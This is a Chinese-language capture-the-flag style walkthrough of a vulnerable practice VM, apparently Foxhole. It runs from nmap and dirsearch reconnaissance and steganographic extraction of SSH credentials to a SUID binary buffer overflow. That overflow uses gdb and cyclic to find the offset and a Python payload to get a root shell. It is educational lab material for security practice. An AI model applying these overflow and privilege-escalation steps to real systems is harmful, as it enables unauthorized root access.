这个靶机算是简单到中等难度的,然后虽然大了一点,但好在可以直接使用不用修改网络配置
目录
信息搜集
扫描整个网段发现存活主机
nmap -sP 192.168.179.0/24
对整个网段内的主机进行ping扫描
扫描IP地址发现开启端口及服务
nmap -A -p- 192.168.179.152
扫描该IP地址的全国端口
发现漏洞
看看我们发现了什么,虽然该IP地址开启的服务并不多但是都很经典,看到Apache httpd你想到了什么?对没错就是换行解析漏洞以及未知后缀解析漏洞。下面我们就根据版本号判断具体哪个漏洞可以利用
searchsploit Apache httpd 2.4.41
msfconsole
search Apache httpd 2.4.41
####
使用这两款工具搜索看是否有匹配的利用脚本
我就知道没有这么简单。。。
上百度
后缀解析漏洞并没有指明具体存在的版本所以该网站是可能会存在这个漏洞的,但是我们也不能盲目乐观,因为该漏洞的成因是由于管理员的配置不当造成的,所以是不确定的。仅作为一条思路
查看该网站
来回点了点,感觉好像就是一个单纯的存放照片的网站,并且套用了 该模板
查看源代码发现的
扫描网站目录
dirsearch -u http://192.168.179.152
####
dirsearch 是一款扫描网站目录的工具 -u 参数跟目标的url即可
还是发现了不少好东西的,这起名一看就贼敏感
还挺调皮
右击查看源代码
Maybe take a nice *deep* look at that one purple fox picture? I dunno.
也许可以好好的看一看那张紫色狐狸的照片?我不知道。
紫色狐狸
这几个目录都是扫出来
后续查看这两张照片,肉眼看起来差不多
但是他俩后面大小都不一样大,大概率有问题
首先将这两张图片下载到kali中
使用binwalk文件查看是否有隐藏信息
binwalk foxy.jpeg
binwalk foxy1.jpeg
###
使用binwalk工具查看这两站图片
Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。
没有发现那我们就再换一种工具多去尝试一下
使用steghide工具查看图片隐藏信息
由于该工具不是kali自带的工具所以需要先安装一下
apt-get install steghide
cd /usr/local/zhaopian #切换到图片所在目录,如果在也可省略这一步
steghide extract -sf foxy1.jpeg
cat msg.txt
base64 -d msg.txt
########
Steghide是一个可以将文件隐藏到图片或音频中的工具,同样利用相关参数也可将隐藏在图片或音频中的文件找出来
需要进到图片所在文件夹下才能顺利打开
发现隐藏文件
查看并破解隐藏文件
因为后面又两个==所以是典型的base64加密特征
利用漏洞
利用破解出的账号密码登录ssh
用户名:fox
密码:Y0u3scap3dTh3F0xH0le!
尝试寻找user.txt文件
结果flag文件没找到,但是到一个奇怪的文件。不仅全身标红而且还是root:root权限。这可是在fox用户里啊 ,一定不简单。
提权
不管那么多了,既然没找到user.txt就先提权吧,
发现高权限命令
find / -perm -u=s -type f 2>/dev/null
它来了它来了,这下必搞它
尝试直接运行
这没有密码也行不通啊
但是下面提示给我们思路了 vary long 划重点哦 。
尽可能查看GiveMeRootPlz中的内容
strings GiveMeRootPlz
#####
strings工具可打印文件所有可打印的字符
并找到三个可疑字段,根据我们前面所发现的内容。我们推测这个位置存在溢出漏洞
利用溢出漏洞提权
我们会用到gdb工具中的gdb-peda和pwndbg插件
我们首先在fox服务器上以gdb运行 GiveMeRootPlz文件,发现该服务器上不仅有gdb工具还有gdb-peda插件也省了我们好多事了
在kali上安装gdb以及pwndbg插件
apt-get install gdb #安装工具
git clone https://github.com/pwndbg/pwndbg #下载插件
cd pwndbg
./setup.sh #安装插件
########
gdb是GNU开源组织发布的一个强大的Linux下的程序调试工具。
一般来说,GDB主要帮助你完成下面四个方面的功能:
1、启动你的程序,可以按照你的自定义的要求随心所欲的运行程序。
2、可让被调试的程序在你所指定的调置的断点处停住。(断点可以是条件表达式)
3、当程序被停住时,可以检查此时你的程序中所发生的事。
4、你可以改变你的程序,将一个BUG产生的影响修正从而测试其他BUG
出现这个标就是安装成功了
然后我们在kali上运行的适合还需要GiveMeRootPlz文件,所以将GiveMeRootPlz文件复制到本地
scp fox@192.168.179.152:/home/fox/GiveMeRootPlz /tmp
密码就是ssh的密码:Y0u3scap3dTh3F0xH0le!
开始调试
首先gdb运行该文件
gdb GiveMeRootPlz
start #单步执行,运行程序,停在第一执行语句
r < <(cyclic 520) #生产520个字符输入缓存区
cyclic -l 0x66616165 # 查看错误提示根据错误地址 查看溢出大小
GETSHELL
这次是在fox用户端使用gdb运行该文件
gdb GiveMeRootPlz
start
call secret #call func:强制函数调用
quit #退出该工具
python3 -c 'print("A"*515+"\xad\x62\x55\x56")' ###使用python3 生成可以将缓冲区填满的字符
./GiveMeRootPlz #运行文件,在输入密码时将上文中生成的字符串复制到密码的位置从而达到溢出的效果
找到flag
总结
一开始觉得这个靶场不是很难,最后还是结结实实的搞了差不多一天才完整的把它拿下。对我来说主要的点就是后续提权的使用的gdb工具,之前没有接触过还有它gdb-peda和pwndbg这两个插件的区别,以及使用方法。感觉自己学习的过程还有有些问题需要调整。总感觉自己的效率不够高
参考文章
https://www.youtube.com/watch?v=kLukrAzoUCI
https://assume-breach.medium.com/vulnhubs-foxhole-1-walkthrough-893e95d43040
https://blog.youkuaiyun.com/qq_42967398/article/details/108896538
最后点个赞再走吧 求求了~